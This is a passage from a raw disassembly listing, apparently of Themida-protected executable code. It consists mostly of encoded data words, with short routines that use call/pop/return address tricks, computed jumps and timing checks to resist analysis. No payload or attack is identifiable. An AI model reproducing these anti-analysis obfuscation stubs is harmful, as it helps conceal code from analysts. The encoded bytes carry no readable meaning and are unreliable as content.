0F84BD447h, 7B55E460h, 6094A700h, 2B2F55E4h, 7B10D07h dd 0F68EA1C8h, 0D6AAAF8Bh, 265F6C4Fh, 295BF002h, 0BC0B5972h dd 17E7199Dh, 0B1C9C4C5h, 25FF3155h, 998F0E00h, 3E9A5ED4h dd 8BA92EF0h, 6A8Eh, 65802A00h, 9043EC1Fh, 53D3F092h, 928CBFF8h dd 307D3F0h, 9594EC1Fh, 0A0A43402h, 1C8F3FF5h, 0F6ABDAA1h dd 0C87B42C6h, 4BD3F005h, 0F1404DC7h, 0DED3F005h, 3847DA31h dd 1E7A920Bh, 5F140EDh, 0E72D3F0h, 0D455B004h, 48CCFCB9h dd 7BA41724h, 0D3F005C8h, 93ABE2E0h, 35FF4337h, 57E2D8Ah dd 91F553F0h, 9C5F8Dh, 80D50000h, 47E01B61h, 49DC6A83h dd 67F81074h, 75F23665h, 55235853h, 21E25049h, 803CF66Ah dd 0E4901F21h, 58271455h, 0FD59712Ch, 241A837h, 0F9898D00h dd 376667E8h, 4B68F813h, 0F3046E67h, 69CDDCAFh, 0AED24193h dd 91E85B64h, 85013974h, 9AD00E8Fh, 2D114FCDh, 4E3D4F1Eh dd 6C58DA3Eh, 82BAF113h, 0BBD3CEFDh, 0DCECA9A4h, 0BC86ED2Ah dd 0DA55BC9Bh, 0F30B8283h, 0D8299D97h, 0C01E9FACh, 145F4F0h dd 1782F93Dh, 0B539BB96h, 3C779341h, 4734880Ch, 0B5396BE6h dd 4064E841h, 618048B2h, 1747E01Bh, 0E849D9E5h, 98E75464h dd 2FFC3667h, 0D3C791Dh, 8655E805h, 6683C370h, 0F71BBBCAh dd 0AED04FD3h, 8CBDCCFFh, 6466F911h, 0BF0F0529h, 514E2C7Eh dd 0B3DAB5BFh, 34C97294h, 0C26D1D7Ah, 0B9498BCh, 514C79F9h dd 81B9DD39h, 0A5D5D0FEh, 6D9CF322h, 6CC5D25Bh, 0F0B22760h dd 0ADDF48CCh, 11FCCEFEh, 7A000000h, 35491F8Ch, 37ED1E30h dd 0D0CBFD2Ah, 6CD65CB8h, 4346767h, 3A52497Bh, 5E6E2925h dd 71890401h, 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h dd 27574647h, 0E689561Fh, 4C681h, 0EE830000h, 24348704h dd 6824248Bh, 1823h, 68242C89h, 716Ah, 57243C89h, 0EA4D4668h dd 0BE565F06h, 486B3D99h, 0F75EF701h, 49CF81D7h, 8173806Bh dd 91E8DDEFh, 5FFD89EDh, 161E68h, 24248900h, 4240483h dd 25DD685Fh, 2C890000h, 8478F24h, 5F2434FFh, 4C481h, 2C8B0000h dd 0E0895024h, 405h, 4C08300h, 5C240487h, 0FBE4D7E9h, 5684B1FFh dd 316A98A5h, 0D58F88AFh ; --------------------------------------------------------------------------- sbb [esi+75h], ebx loc_5C77B3: ; CODE XREF: Themida_:loc_5C7223j mov eax, 6189B8Dh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 49E847BBh, 5050E76Dh, 611AE585h, 93378D0h, 7E9748E1h dd 0BBBEDD1h, 4CC8D6DAh, 69BDB235h, 7AA640F8h, 4DE6E0C1h dd 791858Dh, 7E90614h, 0A2000000h, 68FD1C3Eh, 60905201h dd 59525250h, 0CCB9310Fh, 5A3383B7h, 61606058h, 91B6B866h dd 66506161h, 8990F88Bh, 1416F985h, 8B006A06h, 14264D9Dh dd 99D0B06h, 6A061411h, 10E900h, 0DCA90000h, 0B30ACF28h dd 0CC78DC19h, 0AF5FA7D3h, 858DBDD6h, 6189DF8h, 53C5BF66h dd 8105C083h, 0C80AB6C3h, 0ADBD097Eh, 5006141Fh, 8139BB66h dd 0F240489h, 5760F8B7h, 10E5B58Bh, 895A0614h, 1412E98Dh dd 6A6106h, 0CFC1C381h, 6A6733h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 9C35646h, 251C06ECh, 0BC073C74h dd 1995FF9Bh, 6A06141Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 2AAC352h, 4DA06374h dd 1F8D7140h, 5E8h, 0F2ABE200h, 0BD89ED8Eh, 6140E31h, 788D8D5Bh dd 0BB0617A7h, 146828FEh, 1EEDBD8Bh, 0D1FF0614h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0E8C35343h, 66982142h dd 8905FFEBh, 14116D9Dh, 41BD2906h, 8306141Ch, 1401CDBDh dd 850F0106h, 68h, 6880Fh, 85290000h, 61415CDh, 0FE8026Ah dd 9F000000h, 0AF3DE51h, 0EFF72AFFh, 8B17B017h, 7EBF64A4h dd 5F6155AAh, 0D5BF6650h, 24048939h, 9ADBD23h, 95FF0614h dd 61433ADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 33C35646h, 4309C6ADh, 0F859D2Bh, 0BD090614h, 6142B89h dd 0E0EE9h, 0E800h, 815D0000h, 189E02EDh, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 5AF29FA5h, 783F6E59h, 7E8h, 0C9655000h, 5160886Ah, 14E95Bh dd 0FCF10000h, 0D1FD47A4h, 0BB3473DEh, 6F932CF6h, 630709A2h dd 858D3685h, 6178E49h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 28C35646h, 3453160h, 0F50909Eh, 1881h dd 0EE96000h, 50000000h, 929F8522h, 8289D57Fh, 59EBF81Fh dd 0F28B66FDh, 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0A3BEF2C3h, 218D890Bh, 64061410h dd 35FFh, 13E80000h, 5D000000h, 0CA1999E4h, 1DE2AA83h dd 54B78827h, 7D49A113h, 9D09AA61h, 61415B1h, 2589645Bh dd 0 ; --------------------------------------------------------------------------- mov ebx, esi inc dword ptr [ebp+6142DEDh] push 0 push ebp call sub_5C7A9B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7A9B proc near ; CODE XREF: Themida_:005C7A93p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5C7A9B endp ; --------------------------------------------------------------------------- db 51h dd 0D4D92EB3h, 8C0Fh, 0FF6A0000h, 255BD8Bh, 0B5FF0614h dd 6141C3Dh, 4D9D89h, 95FF0614h, 6142A89h, 115E9h, 0DBB70F00h dd 9D8B00B0h, 6140885h, 2B759D09h, 70E60614h, 28A0Fh, 0D98B0000h dd 0BD8971E4h, 614237Dh, 2691BD89h, 613C0614h, 0E4830Fh dd 8B0F0000h, 3, 0FFE8B66h, 0BAF5C8B6h, 6, 1A7D9D8Bh, 0C18B0614h dd 0C1DFBF0Fh, 816604E8h, 667356E7h, 0BDCCF381h, 0F8E2F766h dd 0F53C82Bh, 68Dh, 8D8D2900h, 5B061406h, 0BD8BD18Bh, 6140415h dd 17E9h, 12E900h, 0BEA90000h, 6343D128h, 0CE38AF21h, 71739193h dd 0C9A193DEh, 16B5858Bh, 0BD8B0614h, 6140515h, 5880Fh dd 81660000h, 83AEB7EBh, 0BF0F07C0h, 0C083FBh, 1EA59D8Bh dd 0D03B0614h, 0E830Fh, 8B660000h, 4CE9D8h, 0B5890000h dd 6141005h, 2AA58D8Bh, 0BD8B0614h, 6142011h, 0F01E183h dd 3184h, 0A5A58300h, 0FE06142Ah, 99D9D8Bh, 95890614h dd 61416B5h, 0EE960h, 0BF6E0000h, 439751B6h, 0B3A32609h dd 870BE740h, 5BDE8B57h, 0E961h, 0B58D0000h, 617FFF9h dd 2631B589h, 6A0614h, 0BEDBD29h, 95FF0614h, 6142971h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 5FC35040h dd 17860Fh, 0BE80000h, 25000000h, 0F94FEBD6h, 0A66A274Fh dd 9D8B207Ch, 614063Dh, 0B9FA8B5Bh, 841h, 11E9h, 8BC54700h dd 582FF72h, 21CED6CEh, 628077ACh, 0E1838FFCh, 52006AFCh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 462D05BBh, 0AE9FCh, 84B40000h, 7DB4CCABh, 232AF3FEh dd 8B66C02Bh, 6AD22BDAh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 5B81C351h, 67EB8EE8h dd 11E9771Fh, 0C1000000h, 9FA94C80h, 0DEE24596h, 0CEBB2C5Eh dd 0CCE2736Ch, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 68C35040h, 0BD295B50h dd 614079Dh, 949B589h, 880D0614h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 5E0C350h, 1A840Fh, 0EE80000h, 0C8000000h, 0A4BFEC30h dd 43025398h, 0CC61C74Ah, 1D9589EAh, 5F061416h, 2B69958Bh dd 8D890614h, 6140015h, 10558D8Bh, 9D310614h, 6141C39h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 2A857FC3h, 7A10B225h, 6A9A83h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0E63DC7C3h, 7E8h, 66449200h dd 5FD54D9Fh, 790BBF66h, 4DBD835Fh, 6140Fh, 0A5840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 608CB0C3h, 1CF1BD01h, 9D090614h, 61424EDh, 97B0EB81h dd 0B849FBh, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 12F9C351h, 7C94919Ah dd 6696978Eh, 8D062CBBh, 144DFF8Dh, 13E906h, 59E20000h dd 0E6A1A6h, 725CFDE8h, 0D6F8C4BAh, 0E33DB2C0h, 6AE1FF69h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8922C352h, 141C1595h, 0C19D8B06h, 8306142Fh dd 14013DBDh, 840F0006h, 496h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 9FC35646h, 0FFFA6720h, 28ACE45Ah dd 6820FBFh, 8B000000h, 141B21BDh, 3DBD8306h, 1061401h dd 473840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0D6AE59C3h, 1E07BE6Eh, 13E8h, 0BBAE2400h dd 0DA72BC90h, 8F30A108h, 0C515D8Dh, 782F5881h, 0F595660h dd 8Bh, 895F6100h, 14009585h, 3DBD8306h, 3061401h, 3E5860Fh dd 2EBF0000h, 6067BFA0h, 66D68B60h, 6661C88Bh, 6AD98Ch dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 583948C3h, 2F90A4B7h, 8B988340h, 140429BDh, 4E18006h dd 0BE960h, 0A7AF0000h, 4ABE3BBBh, 0E4EFAF4h, 58D0F03h dd 0B9000000h, 2C93B8E9h, 0FC90A61h, 12F84h, 8D336000h dd 6140B1Dh, 0F432E181h, 8B6163A5h, 140E3585h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0A984524h, 0E7F23A96h, 8589EAEDh, 6140AB5h, 19159589h dd 85330614h, 61406A9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 1C35040h, 3E4D7E0Dh, 906AB315h, 9050F98Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 87C35545h dd 0AE45CA13h, 8E9F90Ah, 8000000h, 39BAF9F0h, 6A4DE27Ah dd 0DFBF0F00h, 4FD21368h, 9E956h, 677F0000h, 78DA42A3h dd 814CBA2Ah, 0D1EC2434h, 9E95650h, 0D9000000h, 0CA335B62h dd 922ECE5h, 95FFF98Bh, 614089Dh, 264CBF66h, 0A7EA8589h dd 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0CCA2D8C3h, 8BCA611Dh, 14197D9Dh, 1E4E906h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0D28A3FC3h, 0C5B89A43h, 0A7E2858Bh, 6A0617h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 5F9629C3h, 0D283A04h, 0EF5BD29h, 0C70614h, 18h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 16C35545h, 90FD5449h dd 8BC7382Eh, 1419F5BDh, 0E6B58B06h, 310617A7h, 140DCD9Dh dd 81858B06h, 89061402h, 14071D9Dh, 15BD8B06h, 89061423h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 2E32B993h, 0BF85FB8Ah, 2B000949h, 2498D89h dd 0BB660614h, 858B4B65h, 6140E35h, 0E9DBB70Fh, 0Ah, 0E14C5818h dd 48095D35h, 4689F0A1h, 6E904h, 0FBA20000h, 2B75C4BDh dd 24348950h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0CBC35242h, 0B6272BDBh, 8958B449h, 141F319Dh, 0E2B5FF06h dd 680617A7h, 0BFE165FDh, 0EE8h, 4E9F1100h, 0AA42D399h dd 0B28C7AABh, 52363211h, 0E69CBF66h, 4815B5Fh, 3D9E0224h dd 0DCC78040h, 0A7EA858Dh, 8B660617h, 0BE850FEh, 6C000000h dd 19CA6F6Bh, 88B479E5h, 5250E01Ah, 20C797BBh, 5A310F4Eh dd 4895B58h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 4677C2A0h, 9B5294Ch, 6006141Fh, 54B2CB8Ah dd 9D95FF61h, 6A061408h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 53A9C353h, 0F3DB81DDh dd 0E96C3BE3h, 0Eh, 0E28155Eh, 666E8EF5h, 0DED94891h, 0F615ACBh dd 68Ah, 6DB58900h, 0C7061411h, 14013D85h, 306h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0B823F3CDh, 6692CD4h, 418D89B7h, 8306141Ch dd 17A7EABDh, 840F0006h, 43h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0F2C35343h, 3DE9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 503E8E45h, 50F31BD1h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0BD2BC08Bh, 6143415h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 3FC35242h, 13DBD83h dd 0F030614h, 41585h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0DBFB80A6h, 83494FBBh dd 17A7EABDh, 840F0006h, 3E6h, 2E62BB66h, 0A7EAB5FFh, 12E90617h dd 36000000h, 439A5420h, 4F53CE2h, 57AC8118h, 6A39CA8Fh dd 0DE858h, 0ECCA0000h, 3E2865B9h, 5CAB744Ah, 0FF02560h dd 0FF5FDFB7h, 14033995h, 819D8906h, 8B061404h, 143479BDh dd 0DEB58B06h, 6A0617A7h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 36E0C351h, 106C73Dh dd 6A000100h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0B9A7C356h, 2587E1Eh, 2830F96h dd 8B000000h, 0DE850DEh, 69000000h, 0F5C9469Ah, 0EE16B46Fh dd 52D6FAACh, 49BF6657h, 965B5F95h, 3870Fh, 8B660000h dd 0EAB5FFFAh, 6A0617A7h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 78CC352h, 0E38ED0CCh dd 1A860Fh, 0EE80000h, 0DF000000h, 6CAAAD4Fh, 0BAACAECFh dd 804892FEh, 0B5BD8BCDh, 5B061424h, 108195FFh, 0B70F0614h dd 0DEB58BFBh, 0E90617A7h, 11h, 2864884Eh, 0E6C55807h dd 6F71B2ACh, 92F366F0h, 0F9858B6Bh, 2906140Fh, 142C2D95h dd 0C4868906h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 89B8C353h, 140CA9B5h dd 69958B06h, 6A06142Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0C4BDC351h, 0FCA92B75h dd 9F7ECF3Ch, 83F98B66h, 8B6604C2h, 0F8A0FDAh, 0E9000000h dd 0Ah, 20F6D7BFh, 0D46B2314h, 5089F971h, 50006A20h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0ADD61F80h, 0B46B24Bh, 1430CD9Dh, 0DFCF8106h, 8D333E11h dd 17BC2385h, 0C3816606h, 86890FC8h, 0B8h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 12C35040h, 7C46A794h dd 50E21640h, 1AA1BD29h, 815F0614h, 0FDD259CFh, 0BF006A57h dd 3BFB3668h, 0A7EAB5FFh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 6653ACC3h, 0F2355BFh dd 78Bh, 0E3BB5000h, 5F6FD5B9h, 33AD95FFh, 6A0614h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 96F961C3h, 0F943BF66h, 0F2B16050h, 9E850h, 0EC830000h dd 6062BCA0h, 5A1AE1EBh, 0F96615Ah, 988h, 3890F00h, 0F000000h dd 0B5FFDBB7h, 617A7EAh, 95FFF9B3h, 6142309h, 2B599D8Bh dd 0BD830614h, 6141189h, 4D840F00h, 0E8000000h, 0Dh, 0A0572732h dd 0BCC7DFF1h, 0B3DCADBh, 0EE945h, 66B30000h, 97BE7E8Ch dd 0C51B13C6h, 920EAF07h, 0E860505Fh, 8, 4FC9308Bh, 94F02D77h dd 0C1F819B8h, 52505939h, 0D78B310Fh, 8961585Ah, 9D292434h dd 61417B5h, 0A7EAB5FFh, 9D8B0617h, 6141F1Dh, 2D595FFh dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 673DCEC3h, 52250A71h, 0B5FFA776h, 617A7EAh dd 10ADBD8Bh, 95FF0614h, 6140B75h, 112DBD83h, 0F020614h dd 6884h, 0B5296000h, 6140795h, 0F6BF0F60h, 2D39858Bh dd 61610614h, 55858Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0D5784BC3h, 811994DCh dd 0C2B13AF7h, 0C612h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 5FC35242h, 89FC80E2h, 140C4D95h, 4985C706h dd 6141Eh, 0F000000h, 58Fh, 4C30BB00h, 1FE95381h, 51FFFFF3h dd 7719D89h, 8B5F0614h, 0B98501C1h, 8D06142Fh, 14079185h dd 0D7F38106h, 5012FAFEh, 0E42AE6BBh, 24048965h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 9CC35545h, 0FE6D2A5Dh dd 44003263h, 6AF8DCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 5FC35747h, 9E9h, 6BE33700h, 7DAFCC14h dd 6A18F7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 5FC35040h, 0F3858D83h, 0F0618ADh, 68Dh, 119D8B00h dd 83061402h, 6A05C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 2C5C17C3h, 0E3E85691h, 9029C2AAh dd 78157FBFh, 0AE85078h, 3B000000h, 0B0E79F40h, 5B97F947h dd 38A0F56h, 66000000h, 905BD88Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0B9C35040h, 0A8FB0F25h, 6A7536h dd 42EF8166h, 6A006A8Ah, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 86D6C356h, 8BC1AD84h dd 141B95BDh, 0F8BF6606h, 1995FFE6h, 106141Bh, 140085B5h dd 788D8D06h, 530617A7h, 5FFE8B66h, 0BD83D1FFh, 61401CDh dd 8C850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 6AFBC353h, 52006A02h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 9F39D93Dh, 81486926h, 0C59D337Ch, 0E906140Dh, 0Fh, 0A728CBAh dd 5DDCACF8h, 680D93EAh, 90D217F1h, 0BB50F4B3h, 21EFEE14h dd 61BD8B90h, 0FF06142Eh, 1433AD95h, 10E8F906h, 0C5000000h dd 66048BB7h, 204A22DFh, 0C465ED18h, 66AB825Dh, 0E95FDA8Bh dd 0E4Ah, 0E8h, 0ED815D00h, 618ADFDh, 9E960h, 4E7C0000h dd 5D826738h, 33E6EFE0h, 14121DBDh, 8A0F6106h, 6, 34658D89h dd 1500614h, 1425BDB5h, 858D5F06h, 6178E49h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 7BC35141h, 0E8ACA4D3h dd 60525050h, 58505850h, 0E9310F61h, 12h, 0EAB3E6Bh, 68503F56h dd 5DD4675Ah, 18A8CD2h, 585A4E1Ch, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0F9CFC352h, 0E1D9D5CFh, 0EE9h, 5D557200h, 1E191569h dd 3DD322DEh, 64B1329Ah, 35FFh, 81660000h, 64758BCBh, 2589h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 7D447FC3h, 1D8509CEh, 0FF06142Ch, 142DED85h dd 1DBD8B06h, 6A061430h, 0BF0F60FFh, 0B5FF61DEh, 61411C9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0C9C35242h, 0C6D41A14h, 0F8827802h, 8995FF74h dd 0E906142Ah, 152h, 86CB8166h, 8B00B02Eh, 140A5DBDh, 8170E606h dd 0EF89D9E3h, 6E91Dh, 0F0E10000h, 0D87ACF98h, 4CBB71E4h dd 3C4CC4CAh, 23830F61h, 0E9000001h, 0Fh, 0E0EF0A83h, 0FA6E9A01h dd 7E4A6820h, 0F3B0DECh, 820FC8B6h, 11h, 9E8h, 7742EE00h dd 143C73C6h, 5F57CAEFh, 6BA5Fh, 0BF0F0000h, 0C1C18BDAh dd 0F5004E8h, 80h, 0F7665B00h, 0F9BD89E2h, 2B061410h, 2830FC8h dd 0B3000000h, 759D8959h, 8B061426h, 0DE9D1h, 669D0000h dd 0FD793CC6h, 8E84A9E3h, 0E9B9CA0Fh, 28h, 0DE8h, 36ED7B00h dd 70937F60h, 0F7784DE8h, 9D89A2ADh, 614076Dh, 0AE95Bh dd 3DC40000h, 0B13CBE55h, 0AC4C15DAh, 9D5858Bh, 0C0830614h dd 0F7C78107h, 837F9B1Ch, 0F38100C0h, 785278DFh, 23B98D09h dd 0D03B0614h, 15830Fh, 9D8B0000h, 6140039h, 55E9h, 3820F00h dd 66000000h, 8BF5D98Bh, 140C718Dh, 14E906h, 0B1640000h dd 0FBF5BD72h, 0E233137Eh, 0DD76680Ch, 886F599Dh, 0E1836ACFh dd 23840F01h, 80000000h, 0A5838BF7h, 6140C71h, 0EB8166FEh dd 9589BA72h, 61409D5h, 30F1BD8Bh, 0EB800614h, 0E9BFh dd 0B58D0000h, 61809ACh, 6A006AFCh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 1EA4C353h dd 234C1263h, 2A6DDEA3h, 299D89F5h, 0FF061420h, 14297195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 3ABAB064h, 0B980A58Eh, 802h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 17C35747h, 4A8DAA94h dd 83DE8BE1h, 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 80F0F9C3h, 0E6052AE5h, 1CB99D8Bh dd 0BF0F0614h, 0FC5F57FBh, 5D858960h, 8B061416h, 142DA99Dh dd 0C02B6106h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 69C35040h, 10A19D8Bh, 0EE90614h, 0D7000000h, 534BCC70h dd 0CA6C3767h, 0C709718h, 13E896h, 0D7650000h, 7F799EDCh dd 0FFED7AF2h, 797D1197h, 0D643AE5Ch, 618509E9h, 5F06141Ch dd 0BAh, 9E900h, 0C25F0000h, 33DC1A8Ch, 0AD894075h, 0E8D1C233h dd 0E983D003h, 81F47504h, 9D1271CFh, 57006A2Dh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 815DD816h dd 0CF5A17CBh, 880D79h, 0BB660000h, 0FE95494h, 8000000h dd 0C6DE9A91h, 0B5B248E4h, 0EC400B2h, 958B2119h, 6142B69h dd 8D8BD88Bh, 6141055h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 25C35545h, 0C810Fh, 7E90000h, 0DB000000h dd 0F6C1AA60h, 8B503D9Ah, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0EDC35545h, 89B7C780h, 142E8595h, 4DBD8306h, 6140Fh dd 5E840Fh, 0E0BB0000h, 0B84E8620h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5C8E33 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C8E33 proc near ; CODE XREF: Themida_:005C8E2Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5C8E33 endp ; --------------------------------------------------------------------------- db 0E1h dd 0A6FA1CADh, 8DDFB70Fh, 144DFF8Dh, 14E806h, 0F8D10000h dd 0E912AE5Dh, 6E36434Eh, 3ED472DEh, 0BD568C5Eh, 8B0F52F1h dd 6, 31559D8Bh, 0FF5F0614h, 0D9BF0FE1h, 13DBD83h, 0F000614h dd 4DF84h, 4CF78100h, 83148810h, 14013DBDh, 840F0106h dd 4E7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 8AC35545h, 0E820BA96h, 0Bh, 0F0F798Eh, 3C36D145h dd 0E932D3C9h, 12h, 8AE2B9E3h, 0D6D5EA07h, 1FAABE1Bh, 7370850h dd 835F94F1h, 14013DBDh, 860F0306h, 45Dh, 2FADB589h, 9600614h dd 142C2585h, 0D98C6606h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0CCC35040h, 7E9E98Fh, 97000000h, 0BB4937BAh dd 0E180A9F5h, 0EF816604h, 0C90A7FBAh, 17F840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 88D87BC3h, 8BE0E4DEh, 1430E59Dh, 35858B06h, 6606140Eh dd 0FBBBFE8Bh, 33336127h, 1406A985h, 0EE89006h, 6000000h dd 0A20792B7h, 9C8AA9F1h, 8F0267B8h, 0FE8B66CFh, 6090505Fh dd 269BD31h, 0BF0F0614h, 8E861CFh, 0E7000000h, 0F9417674h dd 5754A8B9h, 820Fh, 5B5B0000h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0EAA3CFC3h dd 0D3816679h, 4E8AFC0h, 0FF000000h, 66001F03h, 0BF50F98Bh dd 24D89CE2h, 424448Bh, 2FC5BF66h, 6660008Bh, 61046BB9h dd 4244489h, 2850Fh, 0D98B0000h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0E99D8B98h dd 0FF06140Dh, 14089D95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 1C3C3B21h dd 0C95FB17Bh, 0B05BD8Bh, 85890614h, 617A7EAh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0FCC35343h, 242E9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0E927CF5Bh, 12h, 9AB52A75h, 0ED5A6E3Ah dd 0FD3AA3DFh, 8F60A666h, 0F50FE3Dh, 8B5BFFBFh, 0E2858BDFh dd 6A0617A7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 36ECC350h, 0F75116A1h, 1800C7h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 6B29C3C3h, 0D1E7368Ah, 0A7E6B58Bh, 6A0617h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 16EE2C3h, 140C25BDh, 81858B06h, 0FC061402h, 0AE80689h dd 9000000h, 0D7E0F500h, 0F2963231h, 8E9CBh, 87B10000h dd 4CB8EB49h, 895F7741h, 1423E185h, 35858B06h, 5206140Eh dd 446895Bh, 0D98D8960h, 2B061434h, 1412498Dh, 66506106h dd 89BE2EBFh, 8B662434h, 0E2B5FFDEh, 